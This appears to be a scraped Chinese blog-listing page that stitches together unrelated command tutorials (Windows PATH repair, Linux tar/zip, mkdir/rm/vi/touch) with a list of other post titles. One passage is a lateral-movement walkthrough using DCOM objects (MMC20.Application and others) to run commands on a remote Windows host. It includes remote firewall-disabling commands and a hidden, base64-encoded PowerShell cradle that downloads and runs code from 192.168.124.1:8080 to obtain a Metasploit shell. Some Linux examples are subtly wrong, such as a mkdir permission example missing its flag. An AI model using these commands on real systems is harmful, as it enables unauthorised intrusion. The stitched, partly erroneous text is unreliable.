-
CMD命令:不是内部或者外部命令也不是可运行的程序或批处理文件
2018-03-11 19:33:29前言: 相信有很多小伙伴都比较喜欢使用Command命令来快速的打开或运行程序,但是有些时候命令提示符会和我们开个小玩笑。今天我就教大家如何管教这个不听话的cmd! 场景: 看有些大神在命令提示符里输入两句命令就...前言:
相信有很多小伙伴都比较喜欢使用Command命令来快速的打开或运行程序,但是有些时候命令提示符会和我们开个小玩笑。今天我就教大家如何管教这个不听话的cmd!
场景:
看有些大神在命令提示符里输入两句命令就能执行一大串东西,本着学习的态度,先试试再说!没成想出现了:“不是内部或外部命令,也不是可运行的程序或批处理文件。”
通过各种查各种找,终于发现问题的所在:原来是环境变量的配置出了问题,导致Command不能正确的执行命令。
首先:
确定是否能启动Command命令提示符!
我的电脑——右击选择属性——高级系统设置
选择环境变量
然后:
找到名为ComSpec的变量,查看是否是 :“%SystemRoot%\system32\cmd.exe”,如果不是请更改。(部分需要改成64)
(这意味着你是否能正常启动CMD)
关键:
然后找到名为PATH的变量,点击编辑:
“;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Windows\SysWOW64”
将其粘贴到PATH的后面(引号中的内容,包括分号)最后:
记得保存一下,点击确定,重启Command命令提示符。
哒哒!大功告成,之前不能用的命令都可以玩了。希望可以帮助大家解决问题!
小结:
任何的限制,都是从内心开始的!当你不再忍耐,不再克制,才会真正的成熟!在做任何事情时,都要有坚定且清晰的目标,还要牢记目标!小编需要您的关注哦!您的赞是对我最大的鼓励!
-
Linux压缩打包命令——tar、zip、unzip
2019-08-16 18:39:08打包跟压缩的区别: 打包是指将多个文件或者目录放在一起,形成一个总的包,这样便于保存和传输,但是大小是没有变化的,压缩是指...tar命令参数前面加不加“-”执行命令的结果是没有区别的,区别只要是在与linux风...打包跟压缩的区别:
打包是指将多个文件或者目录放在一起,形成一个总的包,这样便于保存和传输,但是大小是没有变化的,压缩是指将一个或者多个大文件或者目录通过压缩算法使文件的体积变小以达到压缩的目的,可以节省存储空间,在压缩的时候通常是先打包再压缩;
tar命令
tar命令参数前面加”-"与不加“-”的区别:
tar命令参数前面加不加“-”执行命令的结果是没有区别的,区别只要是在于linux风格方面,加“-”属于System V风格,不加“-”属于BSD风格,所以在使用tar命令的时候它的参数加不加“-”结果是一样的,看个人的使用方式;
常用参数:
tar命令的常用参数 -z 是否同时具有gz属性 -j 是否同时具有bz2属性 -J 是否同时具有xz属性 -x 解压缩、提取打包的内容 -t 查看压缩包内容 -c 建立一个压缩,打包文档 -C 切换到指定目录,表示指定解压缩包的内容和打包的内容存放的目录 -v 显示压缩或者打包的内容 -f 使用文件名,在f后面要接压缩后的文件的名字,只要用到tar命令,-f选项是必须要用的,-f参数在使用的时候一定排在其他参数的后面,在最右边 -p 保留备份数据的原本权限与属性,常用于备份(-c)重要的配置文件 -P 保留绝对路径 一、打包
实例:
a.将/root/下的ceshi.txt文件和anaconda-ks.cfg文件和time.sh文件打包为一个文件,名称为“jihe.tar”:
b.查看jihe.tar文件的内容:
c.提取jihe.tar文件的内容到/opt目录下:
如果不用“-C”指定目录则会提取内容到当前目录
二、压缩
linux主要有三种压缩方式:
1.gzip:是公认的压缩这速度最快,压缩大文件的时候与其他的压缩方式相比更加明显,历史最久,应用最广泛的压缩方式
2.bzip:压缩形成的文件小,但是可用性不如gzip
3.xz:是最新的压缩方式,可以自动提供最佳的压缩率建议的压缩的时候标明后缀:
参数 作用 命名方式 -z 用于gzip压缩方式 文件名.tar.gz -j 用于bzip2压缩方式 文件名.tar.bz2 -J 用于xz压缩方式 文件名.tar.xz 实例:用不同的压缩方式压缩/root/目录下的Golden.apk文件
先查看Golden.apk文件的大小:
可以看到Golden.apk文件的大小为187M
a.用gzip压缩方式将Golden.apk文件压缩为Golden.apk.tar.gz文件:
b.用bzip2的压缩方式将Golden.apk文件压缩为Golden.apk.tar.bz2文件:
从上图可以看出红色方框内有报错,这个报错的原因是缺少bzip2的包,需要安装一个bzip2软件包
安装完成之后再重新压缩:
在压缩的过程中,我们可以发现:
压缩速度:gz > bz2 > xz
压缩率:xz > bz2 > gz三、解压
先删除/root/目录下的Golden.apk文件:
tar命令式一个很聪明的命令,我们在解压的时候不需要指明自己压缩的方式它会自己选择跟压缩方式对应的方式去解压,这话说得有点拗口,例:
a.将Golden.apk.tar.gz解压到当前目录:
在解压gz压缩方式压缩文件的时候并不需要加上-z,直接用参数-xf即可,另外两种压缩方式在解压的时候一样,因为tar命令会自动选择,解压之后压缩文件还在,如果不指定解压出来的文件保存在哪里,那么会直接解压在当前目录
b.指定解压出来的文件保存的目录,将Golden.apk.tar.bz2文件解压在/opt/目录下:
补充:
a.在打包和压缩的过程中,我们有时候会看到这样的语句:tar: 从成员名中删除开头的“/”,这个并不是报错,是因为没有加上-P选项,没有保留原来的绝对路径去打包或者压缩,提取打包的内容跟解压一样,下面举一个例子:
将/root/目录以gzip的方式压缩为root.tar.gz压缩文件:
1.没有加-P选项:
2.加上-P选项:
解压的时候同理,如果在压缩文件的时候使用了-P选项,那么在解压的时候也要加上-P选项,不然也会出现”tar: 从成员名中删除开头的“/”“,如下图:
1.不加-P选项解压使用了-P选项压缩/root/后的root.tar.gz文件:
2.加上-P选项解压使用了-P选项压缩/root/后的root.tar.gz文件:
b.在使用tar压缩或者打包的时候,可以通过增加--exclude来达到排除指定的文件的目的将/root/目录下的harry目录打包,但是不打包harry目录下的ha.txt文件,如下图:
压缩文件也是同理,想要排除指定的目录压缩或者打包也是同理
zip命令和unzip命令
#在使用zip跟unzip命令之前先查看系统有没有安装这两个命令的包,没有的话要自己安装
查看有没有安装zip跟unzip命令的命令:rpm -q zip unzip
如果有安装了命令则会显示出命令的版本号
zip命令
基本用法:
zip [参数] [压缩包名] [压缩的目录或者文件的路径]
常用参数:
zip命令的常用参数 -m 将文件压缩后,删除原文件 -o 将压缩文件内的所有文件的最新变动时间设为压缩的时间 -q 安静模式,在压缩的时候不显示指令执行的过程 -r 递归压缩,将自定目录下的所有子文件以及文件一起处理 -x ”文件列表“,压缩时排除文件列表中的文件 实例:
a.压缩目录,将/root/目录下的harry目录压缩为名为harry.zip压缩包:
1.正常压缩,不加-q选项,显示压缩的过程:
2.加上-q选项,安静模式输出,不显示压缩的过程:
b.压缩多个文件,将/root/目录下的ceshi.txt文件和anaconda-ks.cfg文件和Golden.apk文件压缩为名为jihe.zip的压缩包:
因为压缩的全是文件,所以可以不用加上-r选项
c.压缩文件跟目录,将/root/下的ceshi.txt文件和anaconda-ks.cfg文件和harry目录压缩成名为dajihe.zip的压缩包:
d.将/root/目录下的harry目录压缩为harry1.zip压缩包,排除harry目录下的ha.txt文件:
unzip命令
基本用法:
unzip [参数] [压缩文件] (-d [目录]) //如果不是用括号里面的内容,则解压文件在当前工作目录
常用参数:
unzip命令的常用参数 -c 将解压缩的结果显示到屏幕上(显示每一个目录下的每一个文件的内容),同时对字符做适当的转换,但是并没有解压压缩包 -l 显示压缩文件内所包含的文件 -t 检查压缩文件是否正确 -v 执行时显示压缩文件的详细信息 -q 安静模式,执行时不显示任何信息 -d 指定文件解压后存储的目录 -x 指定不要处理压缩文件中的那些文件 实例:
a.将harry.zip压缩包解压缩的结果显示出来:
具体会显示到每一个文件跟每一个文件的内容
b.显示jihe.zip压缩包里面锁包含的文件
c.检查dajihe.zip压缩文件是否正确:
全部OK表示全部文件都是正确的
d.不解压压缩文件dajihe.zip,查看压缩包里面的内容(查看显示的文件列表还包含压缩比率):
#使用-v显示的信息比使用-l显示的信息更加详细
e.将dajihe.zip压缩包解压到/opt/目录下:
补充:使用r选项增加.tar归档文件的内容应该如何怎么操作?
我们先来了解一下tar命令-r选项的作用:
通过tar --help命令查看帮助
-r选项的作用:把要存档的文件追加到档案文件的未尾。例如用户已经作好备份文件,又发现还有一个目录或是一些文件忘记备份了,这时可以使用该选项,将忘记的目录或文件追加到备份文件中
使用实例:
看上图,可以看到我ops用户家目录下标记了一个文件,一个目录,我现在先将目录归档,然后再将文件追加到档案里面
1.归档操作
生成.tar文件,目录归档完毕!
2.将calculating_time.sh追加进入.tar文件中
3.验证
a.查看.tar文件的归档信息
可以看到calculating_time.sh文件已经被追加到档案的末尾了
b.提取Check_Configuration_20201118_PM.tar 到/mnt目录下
使用-r选项追加文件至.tar文件成功
-
Linux 学习之创建、删除文件和文件夹命令
2017-09-05 18:26:38今天学习了几个命令,是创建、删除文件和文件夹的,在linux里,文件夹是目录,下面说下我学习的命令。 创建文件夹【mkdir】 一、mkdir命令使用权限 所有用户都可以在终端使用 mkdir 命令在拥有权限的文件夹...今天学习了几个命令,是创建、删除文件和文件夹的,在linux里,文件夹是目录,下面说下我学习的命令。
创建文件夹【mkdir】一、mkdir命令使用权限
所有用户都可以在终端使用 mkdir 命令在拥有权限的文件夹创建文件夹或目录。
二、mkdir命令使用格式
格式:mkdir [选项] DirName
三、mkdir命令功能
通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限(了解Linux文件-文件夹权限请点击这里)。并且,所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名,即同一个目录下不能有同名的(区分大小写)。
四、mkdir命令选项说明
命令中的[选项]一般有以下两种:
-m 用于对新建目录设置存取权限,也可以用 chmod 命令进行设置。
-p 需要时创建上层文件夹(或目录),如果文件夹(或目录)已经存在,则不视为错误。
五、mkdir命令使用举例
例一:在桌面下面创建以“demo”命名的文件夹。
使用以下命令即可。
mkdir 桌面/demo
例二:在桌面下面创建以“demo”命名的文件夹,并且给文件夹赋权限,权限为123。
mkdir 123 桌面/demo
删除文件夹【rm】一、rm命令使用权限
所有用户都可以在终端使用 rm命令删除目录。
二、rm命令使用格式
格式:rm [选项] DirName
三、rm命令功能
删除档案及目录。
四、rm命令选项说明
命令中的[选项]一般有以下几种:
-i 删除前逐一询问确认。
-f 即使原档案属性设为唯读,亦直接删除,无需逐一确认。
-r 将目录及以下之档案亦逐一删除,递归所有的子目录,逐一询问。
五、rm命令使用举例
例一:删除所有C语言程序文档;删除前逐一询问确认。
rm -i *.c
例二:将 Finished 子目录及子目录中所有档案删除。
rm -r Finished
rm -f abc.txt的意思是说强制删除文件。如果文件不存在,也不要提示。这是因为如果直接使用rm abc.txt那么如果文件不存在,rm 会提示你。这在某些情况下,比如我们写一些小脚本,可能不需要他这样做。 rm -r abc 的意思是说递归所有的子目录。其中要求abc是一个目录名。这条rm运行后,abc目录下的所有子目录里的东西也会一同被删除。通常我们在删除一个目录时会使用rm -rf abc这样的形式,这就是说明删除目录abc,同时要求命令不要产生任何提示。
注:在linux没有回收站,在试用rm命令的时候,一定要小心些,删除之后就无法再恢复了。
创建文件【vi】
一、进入vi的命令
vi filename :打开或新建文件,并将光标置于第一行首
vi +n filename :打开文件,并将光标置于第n行首
vi + filename :打开文件,并将光标置于最后一行首
vi +/pattern filename:打开文件,并将光标置于第一个与pattern匹配的串处
vi -r filename :在上次正用vi编辑时发生系统崩溃,恢复filename
vi filename....filename :打开多个文件,依次进行编辑
二、移动光标类命令
h :光标左移一个字符
l :光标右移一个字符
space:光标右移一个字符
Backspace:光标左移一个字符
k或Ctrl+p:光标上移一行
j或Ctrl+n :光标下移一行
Enter :光标下移一行
w或W :光标右移一个字至字首
b或B :光标左移一个字至字首
e或E :光标右移一个字至字尾
) :光标移至句尾
( :光标移至句首
}:光标移至段落开头
{:光标移至段落结尾
nG:光标移至第n行首
n+:光标下移n行
n-:光标上移n行
n$:光标移至第n行尾
H :光标移至屏幕顶行
M :光标移至屏幕中间行
L :光标移至屏幕最后行
0:(注意是数字零)光标移至当前行首
$:光标移至当前行尾
三、屏幕翻滚类命令
Ctrl+u:向文件首翻半屏
Ctrl+d:向文件尾翻半屏
Ctrl+f:向文件尾翻一屏
Ctrl+b;向文件首翻一屏
nz:将第n行滚至屏幕顶部,不指定n时将当前行滚至屏幕顶部。
四、插入文本类命令
i :在光标前
I :在当前行首
a:光标后
A:在当前行尾
o:在当前行之下新开一行
O:在当前行之上新开一行
r:替换当前字符
R:替换当前字符及其后的字符,直至按ESC键
s:从当前光标位置处开始,以输入的文本替代指定数目的字符
S:删除指定数目的行,并以所输入文本代替之
ncw或nCW:修改指定数目的字
nCC:修改指定数目的行
五、删除命令
ndw或ndW:删除光标处开始及其后的n-1个字
do:删至行首
d$:删至行尾
ndd:删除当前行及其后n-1行
x或X:删除一个字符,x删除光标后的,而X删除光标前的
Ctrl+u:删除输入方式下所输入的文本
六、搜索及替换命令
/pattern:从光标开始处向文件尾搜索pattern
?pattern:从光标开始处向文件首搜索pattern
n:在同一方向重复上一次搜索命令
N:在反方向上重复上一次搜索命令
:s/p1/p2/g:将当前行中所有p1均用p2替代
:n1,n2s/p1/p2/g:将第n1至n2行中所有p1均用p2替代
:g/p1/s//p2/g:将文件中所有p1均用p2替换
七、vi命令使用举例
例一:创建文件a.txt。
vi a.txt
Hello everyone!
:wq //在退出时,直接输入:wq会发现退不出去,退出方法是:编辑完成后按ESC,然后输入:q就是退出;还有:wq是保存后退出,加感叹号是表示强制
修改档案时间【touch】
一、touch命令使用权限
所有用户都可以在终端使用 touch命令。
二、touch命令使用格式
格式:touch [-acfm][-d <日期时间>][-r <参考文件或目录>][-t <日期时间>][--help] [--version][文件或目录...] 或 touch [-acfm][--help][--version][日期时间][文件或目录...]
(touch [-acfm][-r reference-file] [--file=reference-file][-t MMDDhhmm[[CC]YY][.ss]][-d time] [--date=time][--time={atime,access,use,mtime,modify}][--no-create][--help] [--version]file1 [file2 ...])
三、touch命令功能
touch fileA,如果fileA存在,使用touch命令可更改这个文件或目录的日期时间,包括存取时间和更改时间;如果fileA不存在,touch命令会在当前目录下新建一个空白文件fileA。
注:使用touch指令可更改文件或目录的日期和时间,包括存取时间和更改时间。文件的时间属性包括文件的最后访问时间,最后修改时间以及最后在磁盘上修改的时间,命令stat显示结果显示了三个时间属性。
四、touch命令选项说明
a 改变档案的读取时间记录。
m 改变档案的修改时间记录。
c 假如目的档案不存在,不会建立新的档案。与 --no-create 的效果一样。
f 不使用,是为了与其他 unix 系统的相容性而保留。
r 使用参考档的时间记录,与 --file 的效果一样。
d 设定时间与日期,可以使用各种不同的格式。
t 设定档案的时间记录,格式与 date 指令相同。[[CC]YY]MMDDhhmm[.SS],CC为年数中的前两位,即”世纪数”;YY为年数的后两位,即某世纪中的年数.如果不给出CC的值,则linux中touch命令参数将把年数CCYY限定在1969--2068之内.MM为月数,DD为天将把年数CCYY限定在1969--2068之内.MM为月数,DD为天数,hh 为小时数(几点),mm为分钟数,SS为秒数.此处秒的设定范围是0--61,这样可以处理闰秒.这些数字组成的时间是环境变量TZ指定的时区中的一个时间.由于系统的限制,早于1970年1月1日的时间是错误的.
--no-create 不会建立新档案。
--help 列出指令格式。
--version 列出版本讯息。
五、touch命令使用举例
例一:更新file1.txt的存取和修改时间。
touch file1.txt
例二:如果file1.txt不存在,不创建文件
touch -c file1.txt
例三:更新file1.txt的时间戳和ref+file相同
touch -r ref+file file1.txt
例四:设置文件的时间戳为2011年5月18日9点45分10秒
ls -l file1.txt
touch -t 1105190945.10 file1.txt
在新建文件时用touch命令可以建立一个空文件,而vi命令则可以直接编辑文件的内容并保存。touch命令在linux中很少用到,我个人还是比较喜欢vi命令,可以直接对文档进行编辑。 -
利用DCOM实现远程命令执行
2020-11-17 11:53:22实现过程2.1通过DCOM在本机执行命令2.2通过DCOM控制远程主机执行命令3.参考文章 1.前言 实现命令执行的方式之前我写过文章来总结,前两天又发现了一个新方法DCOM,于是有了这篇文章。 2.实现过程 2.1通过DCOM在本机...1.前言
实现命令执行的方式之前我写过文章来总结,前两天又发现了一个新方法DCOM,于是有了这篇文章。
2.实现过程
2.1通过DCOM在本机执行命令
实现条件:
- 管理员权限的powershell
- 查找DCOM组件MMC Application Class如下图,命令为
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}
命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) $com.Document.ActiveView.ExecuteShellCommand $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
ExecuteShellCommand对应的参数具体含义可参考以下链接:
https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx2.2通过DCOM控制远程主机执行命令
实现条件:
- 管理员权限的powershell
- 客户端关闭防火墙
- 服务端需要域管的administrator账户或者目标主机具有管理员权限的账户
- 双方主机都需有MMC Application Class这个DCOM组件。
命令:
net use \\192.168.124.3 "123" /u:"test\administrator" netsh -r 192.168.124.3 -u TEST\administrator -p 123 advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound #远程关闭防火墙不过一般会失败,默认不会开启远程管理防火墙的这个权限。 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") # 有可能弹不出计算器,但是可以将命令改为: $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c shutdown -r -t 1","Minimized") 发现远程主机会重启。
如果上述命令执行失败,很有可能是防火墙开启造成的,这时候我们可以通过impacket来获取远程主机的shell然后再进行防火墙的配置。
psexec.exe test/lisi:123@192.168.124.3 netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow netsh advfirewall set currentprofile state off netsh advfirewall set allprofiles state off netsh advfirewall set currentprofile settings remotemanagement enable
第二种命令:
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.124.3") $obj = [System.Activator]::CreateInstance($com) $item = $obj.item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) #测试成功,不需要对方主机的凭据,只需要当前主机的管理员权限即可。
第三种命令:
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.124.3") $obj = [System.Activator]::CreateInstance($com) $obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) #测试成功,不需要对方主机的凭据,只需要当前主机的管理员权限即可。
2.3补充:
在192.168.124.2上执行命令,不需要执行net use命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABjAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGMALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkALwBEAFEAMABKAHMAZABxAFIAUAAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkAJwApACkAOwA=","Minimized")
在msf上监听,可以得到一个shell,这个shell是192.168.124.3的,登陆shell的用户为192.168.124.2的用户(我是在域环境测试的)。
192.168.124.2的大概环境:
msf上得到的shell:
如果在执行这些命令之前执行了net use命令,获得了一个有权限的IPC管道(例如使用域控的凭据连接目标主机),得到的结果也是一样的,也就是说net use命令存在与否并不影响结果。
3.参考文章
4.防御方式
开启域防火墙
-
【Linux】linux常用基本命令
2013-03-22 13:54:04Linux中许多常用命令是必须掌握的,这里将我学linux入门时学的一些常用的基本命令分享给大家一下,希望可以帮助你们。 -
Linux系统常用基本命令总结
2018-11-13 22:42:20Linux基本命令 Linux的简介 Linux的厂商 Linux的目录结构 基于虚拟机的环境搭建 常用命令与示例 一、文件基本操作命令 1. ls命令 2. pwd命令 3. mkdir命令 4. cd命令 5. touch命令 6. cp命令 7. mv命令... -
Linux搜索文件名和搜索文本内容命令
2019-06-19 17:23:491.搜索文件名:find命令 a.桌面系统如何搜索某个文件名? Windows或Linux系统自带搜索文件名可视化功能 b.Linux终端如何搜索某个文件名? 举例说明:在整个系统中查找所有bin文件命令: sudo find / -name bin ... -
nginx启动命令和停止命令
2019-06-27 10:48:14cd /usr/local/nginx/sbin/ ./nginx ./nginx -s stop ./nginx -s quit ./nginx -s reload ..../nginx -s stop:此方式相当于先查出nginx进程id再使用kill命令强制杀掉进程。 查询nginx进程 ps aux|gr... -
linux最常用的20个命令
2018-05-09 09:07:25玩过Linux的人都会知道,Linux中的命令的确是非常多,但是玩过Linux的人也从来不会因为Linux的命令如此之多而烦恼,因为我们只需要掌握我们最常用的命令就可以了。当然你也可以在使用时去找一下man,他会帮你解决... -
windows下CMD常用命令
2017-12-16 10:55:43平时操作linux比较多,反而忽视了cmd相关命令,这里大致总结一些常用的命令,作为记录。一、常用命令1、进入某个盘//进入d盘 D: //进入F盘 F:这里我经常弄混,老是用cd命令,结果回回进不去。。Linux和windows果然不... -
adb操作命令详解及大全
2011-10-11 19:07:48adb是什么?:adb的全称为Android Debug Bridge,就是起到调试桥的作用。通过adb我们可以在Eclipse中方面通过DDMS来调试Android程序,说白了就是debug工具。adb的工作方式比较特殊,采用监听Socket TCP 5554等端口的... -
大数据_07 【hadoop HDFS的shell命令操作】
2020-10-12 17:38:59大数据_07 【hadoop HDFS的shell命令操作】01 基本语法02 常用普通命令实操03 HDFS常用高级命令04 HDFS适用场景05 HDFS不适用场景06 hdfs的安全模式 01 基本语法 基本语法 bin/hdfs dfs 具体命令 02 常用普通命令... -
【解决方案】“‘javac’不是内部或外部命令,也不是可运行的程序或批处理文件”
2018-07-29 17:05:15“‘javac’不是内部或外部命令,也不是可运行的程序或批处理文件” 下面就讲讲解决方法 解决过程 根据探究的情况来看,这里其实是没有安装好(或者是安装了之后但是在环境变量上却没有设置好) 第一... -
常用线程分析命令
2020-09-10 23:52:29文章目录常用三种命令示例jps + jstackjmcjvisualvm 常用三种命令 1、jps + jstack 2、jmc 3、jvisualvm 示例 先起一个线程 public class ThreadAnalysis { public static void main(String[] args) { for (int i ... -
Linux 中history命令详解
2020-08-04 20:45:51将历史命令缓冲区中命令写入历史命令文件中 -c 将目前的shell中的所有 history 内容全部消除 实际为假删除 -r 将历史命令文件中的命令读入当前历史命令缓冲区 -w 将当前历史命令缓冲区... -
xshell-常用命令
2016-07-26 16:26:01suse linux 常用命令 (1)命令ls——列出文件 ls -la 给出当前目录下所有文件的一个长列表,包括以句点开头的“隐藏”文件 ls a* 列出当前目录下以字母a开头的所有文件 ls -l *.doc 给出当前目录下以.doc结尾的所有... -
linux中的nm命令简介
2015-07-27 21:45:14一般来说, 搞linux开发的人, 才会用到nm命令, 非开发的人, 应该用不到。 虽然nm很简单, 但是还是有必要写几句, 聊表心意。 nm不是ni ma的缩写, 当然, 也不是ni mei的缩写, 而是names的缩写, nm命令主要... -
史上最全的Linux常用命令汇总(超全面!超详细!)收藏这一篇就够了!
2020-04-03 14:32:39这绝对是整理的最全面最详细最认真最适合用来当笔记的Linux终端命令汇总的文章了 -
Windows10右键添加“在此处打开命令窗口”
2017-12-16 20:27:55由于现在Win10默认右键只有Powershell,所以为了以后方便使用就把右键添加“在此处打开命令窗口”的代码分享出来。(#^.^#) 效果 第一个是在 桌面 / 文件夹窗口中 / 选中文件夹上 直接点击右键,显示“在此处打开... -
Linux常用命令大全
2018-06-01 16:16:10Linux常用命令大全1.Linux管理文件和目录的命令命令 功能 命令 功能 pwd 显示当前目录 ls 查看目录下的内容 cd 改变所在目录 cat 显示文件的内容 grep 在文件中查找某字符 cp 复制文件 touch 创建文件 mv 移动文件 ... -
linux中的ldd命令简介
2015-07-26 21:03:34在linux中, 有些命令是大家通用的, 比如ls, rm, mv, cp等等, 这些我觉得没有必要再细说了。 而有些命令, 只有开发人员才会用到的, 这类命令, 作为程序员的我们, 是有必要了解的, 有的甚至需要熟练使用。 ... -
ubuntu版本查看命令
2018-08-17 19:27:57在命令终端输入 1.cat /etc/issue (简单) 2.cat /etc/lsb-release(具体) 3.uname -a(内核) 具体的 有时候我们安装软件或者搭建服务的时候,需要了解当前系统的版本信息,下面几个命令可以帮助我们查看当前... -
Linux关闭防火墙命令
2018-02-12 21:08:07问题:老是关闭防火墙太麻烦,所以选择彻底关闭防火墙,发现每次都记不住命令! 下面是red hat/CentOs7关闭防火墙的命令! 1:查看防火状态 systemctl status firewalld service iptables status 2:暂时关闭... -
华为虚拟机eNSP命令大全(所有命令)
2019-09-19 20:50:37命令符 从用户视图切换到系统视图 system–view 从系统视图切换到用户视图 quit 连入接口命令 interface IP地址、子网掩码配置命令 ip address 接口IP信息查看命令 display ip interface brief IPv4路由表信息查询... -
使用npm命令提示: 'npm' 不是内部或外部命令,也不是可运行的程序
2018-01-18 13:20:47在安装nodejs时候,有时候我们会把它安装在d盘或别的盘时,经常会遇到... 接着我们在使用npm安装依赖的时候有时候会出现“'npm' 不是内部或外部命令,也不是可运行的程序”的提示,此时我们先查看环境变量 知道3... -
不知道Linux有哪些常用命令?看看这些吧
2020-04-28 11:53:56学习的时候,经常使用到Linux系统,在操作Linux系统的时候,有不少经常使用到的命令,下面记录一下学习时经常使用到的Linux命令。 linux命令一、常用快捷键二、打包压缩文件2.1解压/压缩2.2压缩命令参数 一、常用... -
IDEA如何执行maven命令进行打包编译及常用命令
2018-06-19 13:52:50执行maven命令,方式一: 1、maven配置环境变量 2、在IDEA主界面左下角找到 Terminal 点击进入,直接输入想执行的命令即可。 执行maven命令方式二: 像配置tomcat一样,找到如图 Edit Configuration ... -
Linux下文件搜索、查找、查看命令
2018-10-12 14:32:43Linux下文件搜索、查找、查看命令 1、最强大的搜索命令:find 一、根据 文件或目录名称 搜索 二、根据 文件大小 搜索 三、根据 所有者和所属组 搜索 四、根据 时间属性 搜索 五、根据 文件类型或i节点 搜索 六、组合... -
Linux常用命令
2018-01-28 16:12:30显示目录和文件的命令 Ls:用于查看所有文件夹的命令。 Dir:用于显示指定文件夹和目录的命令Tree:以树状图列出目录内容 Du:显示目录或文件大小 修改目录,文件权限和属主及数组命令 Chmod:用于改变指定目录或... -
Vi编辑器基本常用命令
2020-10-05 11:26:43Vi编辑器的常用命令VI编辑器的三种模式末行模式命令模式编辑模式 VI编辑器的三种模式 ⦁ 命令模式 ⦁ 编辑模式 ⦁ 末行模式 末行模式 保存并退出 :wq / x! 不保存强制退出 :q! 查找并替换 :%s/旧文本/新文本/g ...
-
C语言
-
bootstrapValidator.js
-
1034 有理数四则运算 (20分)
-
【数据分析-随到随学】互联网行业业务指标及行业数
-
性能测试面面观
-
flutter插件调用APP页面、使用原生aar,framework库
-
C语言
-
git 基本操作
-
本周题解
-
ae插件TrapcodeParticular
-
P51-前端基础CSS-图标字体介绍
-
转行做IT-第6章 IDEA、方法
-
thinkphp5.1博客后台实战视频
-
小米5维修原理图PCB位置图(PDF格式)
-
C#自定义键盘
-
密集预测/Dense Prediction
-
大数据Hive on MR/TEZ与hadoop的整合应用
-
用递归方法判断子树、对称树
-
红米Pro维修原理图PCB位置图(PDF格式)
-
app测试用例.xmind